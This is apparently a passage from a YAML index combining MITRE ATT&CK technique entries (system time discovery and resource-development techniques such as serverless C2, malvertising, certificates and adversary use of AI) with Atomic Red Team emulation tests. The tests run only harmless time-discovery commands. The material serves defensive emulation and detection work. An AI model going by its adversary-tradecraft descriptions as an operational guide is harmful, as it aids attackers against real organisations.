        description: Rivner, U., Schwartz, E. (2012). They’re Inside… Now What?. Retrieved
          November 25, 2016.
        url: https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf
      - source_name: System Information Discovery Technique
        description: YUCEEL, Huseyin Can. Picus Labs. (2022, June 9). The System Information
          Discovery Technique Explained - MITRE ATT&CK T1082. Retrieved March 27,
          2024.
        url: https://www.picussecurity.com/resource/the-system-information-discovery-technique-explained-mitre-attack-t1082
      - source_name: Virtualization/Sandbox Evasion
        description: YUCEEL, Huseyin Can. Picus Labs. (2022, June 9). Virtualization/Sandbox
          Evasion - How Attackers Avoid Malware Analysis. Retrieved December 26, 2023.
        url: https://www.picussecurity.com/resource/virtualization/sandbox-evasion-how-attackers-avoid-malware-analysis
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1124
    atomic_tests:
    - name: System Time Discovery
      auto_generated_guid: 20aba24b-e61f-4b26-b4ce-4784f763ca20
      description: 'Identify the system time. Upon execution, the local computer system
        time and timezone will be displayed.

        '
      supported_platforms:
      - windows
      input_arguments:
        computer_name:
          description: computer name to query
          type: string
          default: localhost
      executor:
        command: |
          net time \\#{computer_name}
          w32tm /tz
        name: command_prompt
    - name: System Time Discovery - PowerShell
      auto_generated_guid: 1d5711d6-655c-4a47-ae9c-6503c74fa877
      description: 'Identify the system time via PowerShell. Upon execution, the system
        time will be displayed.

        '
      supported_platforms:
      - windows
      executor:
        command: 'Get-Date

          '
        name: powershell
    - name: System Time Discovery in FreeBSD/macOS
      auto_generated_guid: f449c933-0891-407f-821e-7916a21a1a6f
      description: "Identify system time. Upon execution, the local computer system
        time and timezone will be displayed. \n"
      supported_platforms:
      - linux
      - macos
      executor:
        command: 'date

          '
        name: sh
    - name: System Time Discovery W32tm as a Delay
      auto_generated_guid: d5d5a6b0-0f92-42d8-985d-47aafa2dd4db
      description: |
        identifies DCRat delay time tactics using w32tm.
        https://research.splunk.com/endpoint/b2cc69e7-11ba-42dc-a269-59c069a48870/
        https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains
      supported_platforms:
      - windows
      executor:
        command: 'W32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2

          '
        name: command_prompt
    - name: System Time with Windows time Command
      auto_generated_guid: 53ead5db-7098-4111-bb3f-563be390e72e
      description: |
        Displays the current system time via the Windows builtin time command: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/time
        Recently observed in use in the wild during an incident involving Ursnif malware:
        https://github.com/The-DFIR-Report/Sigma-Rules/blob/dc72f0b557fc63347379be0a33439788256761c8/rules/windows/process_creation/proc_creation_win_system_time_lookup.yml
        https://thedfirreport.com/2023/01/09/unwrapping-ursnifs-gifts/
      supported_platforms:
      - windows
      executor:
        command: 'time

          '
        name: command_prompt
resource-development:
  T1583:
    technique:
      modified: '2024-02-28T21:13:02.648Z'
      name: Acquire Infrastructure
      description: |-
        Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost.(Citation: Free Trial PurpleUrchin) Additionally, botnets are available for rent or purchase.

        Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090), including from residential proxy services.(Citation: amnesty_nso_pegasus)(Citation: FBI Proxies Credential Stuffing)(Citation: Mandiant APT29 Microsoft 365 2022) Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_contributors:
      - Shailesh Tiwary (Indian Army)
      - Goldstein Menachem
      x_mitre_deprecated: false
      x_mitre_detection: "Consider use of services that may aid in tracking of newly
        acquired infrastructure, such as WHOIS databases for domain registration information.
        \n\nOnce adversaries have provisioned infrastructure (ex: a server for use
        in command and control), internet scans may help proactively discover adversary
        acquired infrastructure. Consider looking for identifiable patterns such as
        services listening, certificates in use, SSL/TLS negotiation features, or
        other response artifacts associated with adversary C2 software.(Citation:
        ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation:
        Koczwara Beacon Hunting Sep 2021)\n\nDetection efforts may be focused on related
        stages of the adversary lifecycle, such as during Command and Control."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - PRE
      x_mitre_version: '1.4'
      x_mitre_data_sources:
      - 'Internet Scan: Response Metadata'
      - 'Internet Scan: Response Content'
      - 'Domain Name: Active DNS'
      - 'Domain Name: Passive DNS'
      - 'Domain Name: Domain Registration'
      type: attack-pattern
      id: attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2
      created: '2020-09-30T16:37:40.271Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1583
        external_id: T1583
      - source_name: amnesty_nso_pegasus
        description: 'Amnesty International Security Lab. (2021, July 18). Forensic
          Methodology Report: How to catch NSO Group’s Pegasus. Retrieved February
          22, 2022.'
        url: https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/
      - source_name: Mandiant APT29 Microsoft 365 2022
        description: 'Douglas Bienstock. (2022, August 18). You Can’t Audit Me: APT29
          Continues Targeting Microsoft 365. Retrieved February 23, 2023.'
        url: https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft
      - source_name: FBI Proxies Credential Stuffing
        description: FBI. (2022, August 18). Proxies and Configurations Used for Credential
          Stuffing Attacks on Online Customer Accounts . Retrieved July 6, 2023.
        url: https://www.ic3.gov/Media/News/2022/220818.pdf
      - source_name: Free Trial PurpleUrchin
        description: Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin
          Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February
          28, 2024.
        url: https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/
      - source_name: Koczwara Beacon Hunting Sep 2021
        description: Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with
          Shodan. Retrieved October 12, 2021.
        url: https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2
      - source_name: TrendmicroHideoutsLease
        description: 'Max Goncharov. (2015, July 15). Criminal Hideouts for Lease:
          Bulletproof Hosting Services. Retrieved March 6, 2017.'
        url: https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf
      - source_name: Mandiant SCANdalous Jul 2020
        description: Stephens, A. (2020, July 13). SCANdalous! (External Detection
          Using Network Scan Data and Automation). Retrieved October 12, 2021.
        url: https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation
      - source_name: ThreatConnect Infrastructure Dec 2020
        description: 'ThreatConnect. (2020, December 15). Infrastructure Research
          and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.'
        url: https://threatconnect.com/blog/infrastructure-research-hunting/
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      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
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      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1583.007:
    technique:
      modified: '2022-10-20T21:20:22.578Z'
      name: Serverless
      description: |-
        Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.

        Once acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers.(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_detection: ''
      x_mitre_platforms:
      - PRE
      x_mitre_is_subtechnique: true
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.0'
      x_mitre_contributors:
      - Awake Security
      x_mitre_data_sources:
      - 'Internet Scan: Response Content'
      type: attack-pattern
      id: attack-pattern--04a5a8ab-3bc8-4c83-95c9-55274a89786d
      created: '2022-07-08T12:39:29.684Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1583/007
        external_id: T1583.007
      - source_name: AWS Lambda Redirector
        description: Adam Chester. (2020, February 25). AWS Lambda Redirector. Retrieved
          July 8, 2022.
        url: https://blog.xpnsec.com/aws-lambda-redirector/
      - source_name: Detecting Command & Control in the Cloud
        description: 'Gary Golomb. (n.d.). Threat Hunting Series: Detecting Command
          & Control in the Cloud. Retrieved July 8, 2022.'
        url: https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/
      - source_name: BlackWater Malware Cloudflare Workers
        description: Lawrence Abrams. (2020, March 14). BlackWater Malware Abuses
          Cloudflare Workers for C2 Communication. Retrieved July 8, 2022.
        url: https://www.bleepingcomputer.com/news/security/blackwater-malware-abuses-cloudflare-workers-for-c2-communication/
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      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1588.007:
    technique:
      modified: '2024-04-15T23:49:14.558Z'
      name: Artificial Intelligence
      description: |
        Adversaries may obtain access to generative artificial intelligence tools, such as large language models (LLMs), to aid various techniques during targeting. These tools may be used to inform, bolster, and enable a variety of malicious tasks including conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043), creating basic scripts, assisting social engineering, and even developing payloads.(Citation: MSFT-AI)

        For example, by utilizing a publicly available LLM an adversary is essentially outsourcing or automating certain tasks to the tool. Using AI, the adversary may draft and generate content in a variety of written languages to be used in [Phishing](https://attack.mitre.org/techniques/T1566)/[Phishing for Information](https://attack.mitre.org/techniques/T1598) campaigns. The same publicly available tool may further enable vulnerability or other offensive research supporting [Develop Capabilities](https://attack.mitre.org/techniques/T1587). AI tools may also automate technical tasks by generating, refining, or otherwise enhancing (e.g., [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027)) malicious scripts and payloads.(Citation: OpenAI-CTI)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
      x_mitre_version: '1.0'
      type: attack-pattern
      id: attack-pattern--0cc222f5-c3ff-48e6-9f52-3314baf9d37e
      created: '2024-03-11T13:37:31.836Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1588/007
        external_id: T1588.007
      - source_name: MSFT-AI
        description: Microsoft Threat Intelligence. (2024, February 14). Staying ahead
          of threat actors in the age of AI. Retrieved March 11, 2024.
        url: https://www.microsoft.com/en-us/security/blog/2024/02/14/staying-ahead-of-threat-actors-in-the-age-of-ai/
      - source_name: OpenAI-CTI
        description: OpenAI. (2024, February 14). Disrupting malicious uses of AI
          by state-affiliated threat actors. Retrieved March 11, 2024.
        url: https://openai.com/blog/disrupting-malicious-uses-of-ai-by-state-affiliated-threat-actors
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1584.008:
    technique:
      modified: '2024-04-19T12:24:40.659Z'
      name: Network Devices
      description: |-
        Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not [Initial Access](https://attack.mitre.org/tactics/TA0001) to that environment -- instead leveraging these devices to support additional targeting.

        Once an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for [Phishing](https://attack.mitre.org/techniques/T1566) campaigns (i.e., [Link Target](https://attack.mitre.org/techniques/T1608/005)) or enabling the required access to execute [Content Injection](https://attack.mitre.org/techniques/T1659) operations. Adversaries may also be able to harvest reusable credentials (i.e., [Valid Accounts](https://attack.mitre.org/techniques/T1078)) from compromised network devices.

        Adversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)

        Compromised network devices may be used to support subsequent [Command and Control](https://attack.mitre.org/tactics/TA0011) activity, such as [Hide Infrastructure](https://attack.mitre.org/techniques/T1665) through an established [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Botnet](https://attack.mitre.org/techniques/T1584/005) network.(Citation: Justice GRU 2024)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_contributors:
      - Gavin Knapp
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Internet Scan: Response Content'
      type: attack-pattern
      id: attack-pattern--149b477f-f364-4824-b1b5-aa1d56115869
      created: '2024-03-28T03:29:35.616Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1584/008
        external_id: T1584.008
      - source_name: Wired Russia Cyberwar
        description: Greenberg, A. (2022, November 10). Russia’s New Cyberwarfare
          in Ukraine Is Fast, Dirty, and Relentless. Retrieved March 22, 2023.
        url: https://www.wired.com/story/russia-ukraine-cyberattacks-mandiant/
      - source_name: Mandiant Fortinet Zero Day
        description: Marvi, A. et al.. (2023, March 16). Fortinet Zero-Day and Custom
          Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved
          March 22, 2023.
        url: https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem
      - source_name: Justice GRU 2024
        description: Office of Public Affairs. (2024, February 15). Justice Department
          Conducts Court-Authorized Disruption of Botnet Controlled by the Russian
          Federation’s Main Intelligence Directorate of the General Staff (GRU). Retrieved
          March 28, 2024.
        url: https://www.justice.gov/opa/pr/justice-department-conducts-court-authorized-disruption-botnet-controlled-russian
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1583.008:
    technique:
      modified: '2023-04-17T15:32:39.470Z'
      name: Malvertising
      description: "Adversaries may purchase online advertisements that can be abused
        to distribute malware to victims. Ads can be purchased to plant as well as
        favorably position artifacts in specific locations  online, such as prominently
        placed within search engine results. These ads may make it more difficult
        for users to distinguish between actual search results and advertisements.(Citation:
        spamhaus-malvertising) Purchased ads may also target specific audiences using
        the advertising network’s capabilities, potentially further taking advantage
        of the trust inherently given to search engines and popular websites. \n\nAdversaries
        may purchase ads and other resources to help distribute artifacts containing
        malicious code to victims. Purchased ads may attempt to impersonate or spoof
        well-known brands. For example, these spoofed ads may trick victims into clicking
        the ad which could then send them to a malicious domain that may be a clone
        of official websites containing trojanized versions of the advertised software.(Citation:
        Masquerads-Guardio)(Citation: FBI-search) Adversary’s efforts to create malicious
        domains and purchase advertisements may also be automated at scale to better
        resist cleanup efforts.(Citation: sentinelone-malvertising) \n\nMalvertising
        may be used to support [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)
        and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), potentially
        requiring limited interaction from the user if the ad contains code/exploits
        that infect the target system's web browser.(Citation: BBC-malvertising)\n\nAdversaries
        may also employ several techniques to evade detection by the advertising network.
        For example, adversaries may dynamically route ad clicks to send automated
        crawler/policy enforcer traffic to benign sites while validating potential
        targets then sending victims referred from real ad clicks to malicious pages.
        This infection vector may therefore remain hidden from the ad network as well
        as any visitor not reaching the malicious sites with a valid identifier from
        clicking on the advertisement.(Citation: Masquerads-Guardio) Other tricks,
        such as intentional typos to avoid brand reputation monitoring, may also be
        used to evade automated detection.(Citation: spamhaus-malvertising) "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_contributors:
      - Tom Hegel
      - Goldstein Menachem
      - Hiroki Nagahama, NEC Corporation
      - Manikantan Srinivasan, NEC Corporation India
      - Pooja Natarajan, NEC Corporation India
      - Juan Carlos Campuzano - Mnemo-CERT
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
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      x_mitre_version: '1.0'
      x_mitre_data_sources:
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      type: attack-pattern
      id: attack-pattern--155207c0-7f53-4f13-a06b-0a9907ef5096
      created: '2023-02-21T20:46:57.170Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1583/008
        external_id: T1583.008
      - source_name: BBC-malvertising
        description: BBC. (2011, March 29). Spotify ads hit by malware attack. Retrieved
          February 21, 2023.
        url: https://www.bbc.com/news/technology-12891182
      - source_name: FBI-search
        description: FBI. (2022, December 21). Cyber Criminals Impersonating Brands
          Using Search Engine Advertisement Services to Defraud Users. Retrieved February
          21, 2023.
        url: https://www.ic3.gov/Media/Y2022/PSA221221
      - source_name: sentinelone-malvertising
        description: Hegel, Tom. (2023, January 19). Breaking Down the SEO Poisoning
          Attack | How Attackers Are Hijacking Search Results. Retrieved February
          21, 2023.
        url: https://www.sentinelone.com/blog/breaking-down-the-seo-poisoning-attack-how-attackers-are-hijacking-search-results/
      - source_name: spamhaus-malvertising
        description: Miller, Sarah. (2023, February 2). A surge of malvertising across
          Google Ads is distributing dangerous malware. Retrieved February 21, 2023.
        url: https://www.spamhaus.com/resource-center/a-surge-of-malvertising-across-google-ads-is-distributing-dangerous-malware/
      - source_name: Masquerads-Guardio
        description: Tal, Nati. (2022, December 28). “MasquerAds” — Google’s Ad-Words
          Massively Abused by Threat Actors, Targeting Organizations, GPUs and Crypto
          Wallets. Retrieved February 21, 2023.
        url: https://labs.guard.io/masquerads-googles-ad-words-massively-abused-by-threat-actors-targeting-organizations-gpus-42ae73ee8a1e
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1588.004:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421
      type: attack-pattern
      created: '2020-10-01T02:14:18.044Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1588.004
        url: https://attack.mitre.org/techniques/T1588/004
      - description: Fisher, D. (2012, October 31). Final Report on DigiNotar Hack
          Shows Total Compromise of CA Servers. Retrieved March 6, 2017.
        source_name: DiginotarCompromise
        url: https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/
      - source_name: Let's Encrypt FAQ
        url: https://letsencrypt.org/docs/faq/
        description: Let's Encrypt. (2020, April 23). Let's Encrypt FAQ. Retrieved
          October 15, 2020.
      - source_name: Splunk Kovar Certificates 2017
        url: https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html
        description: Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL
          Certificates. Retrieved October 16, 2020.
      - source_name: Recorded Future Beacon Certificates
        url: https://www.recordedfuture.com/cobalt-strike-servers/
        description: Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying
          Rogue Cobalt Strike Servers. Retrieved October 16, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: Digital Certificates
      description: |-
        Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.

        Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.

        Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ)

        After obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_detection: |-
        Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)

        Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.2'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Certificate: Certificate Registration'
      - 'Internet Scan: Response Content'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1583.002:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--197ef1b9-e764-46c3-b96c-23f77985dc81
      type: attack-pattern
      created: '2020-10-01T00:40:45.279Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1583.002
        url: https://attack.mitre.org/techniques/T1583/002
      - source_name: Unit42 DNS Mar 2019
        url: https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/
        description: 'Hinchliffe, A. (2019, March 15). DNS Tunneling: how DNS can
          be (ab)used by malicious actors. Retrieved October 3, 2020.'
      modified: '2022-04-25T14:00:00.188Z'
      name: DNS Server
      description: |-
        Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations.

        By running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_detection: Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on related stages of the adversary lifecycle, such
        as during Command and Control.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1587.003:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--1cec9319-743b-4840-bb65-431547bce82a
      type: attack-pattern
      created: '2020-10-01T01:42:24.974Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1587.003
        url: https://attack.mitre.org/techniques/T1587/003
      - source_name: Splunk Kovar Certificates 2017
        url: https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html
        description: Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL
          Certificates. Retrieved October 16, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: Digital Certificates
      description: |-
        Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).

        Adversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)).

        After creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_detection: |-
        Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)

        Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.2'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Internet Scan: Response Content'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1587.001:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0
      type: attack-pattern
      created: '2020-10-01T01:33:01.433Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1587.001
        url: https://attack.mitre.org/techniques/T1587/001
      - url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
        description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage
          Units. Retrieved July 18, 2016.
        source_name: Mandiant APT1
      - source_name: Kaspersky Sofacy
        description: Kaspersky Lab's Global Research and Analysis Team. (2015, December
          4). Sofacy APT hits high profile targets with updated toolset. Retrieved
          December 10, 2015.
        url: https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/
      - source_name: ActiveMalwareEnergy
        description: Dan Goodin. (2014, June 30). Active malware operation let attackers
          sabotage US energy industry. Retrieved March 9, 2017.
        url: https://arstechnica.com/information-technology/2014/06/active-malware-operation-let-attackers-sabotage-us-energy-industry/
      - source_name: FBI Flash FIN7 USB
        url: https://therecord.media/fbi-fin7-hackers-target-us-companies-with-badusb-devices-to-install-ransomware/
        description: 'The Record. (2022, January 7). FBI: FIN7 hackers target US companies
          with BadUSB devices to install ransomware. Retrieved January 14, 2022.'
      - source_name: FireEye APT29
        description: 'FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define
          a Russian Cyber Threat Group. Retrieved September 17, 2015.'
        url: https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf
      modified: '2022-05-11T14:00:00.188Z'
      name: Malware
      description: |-
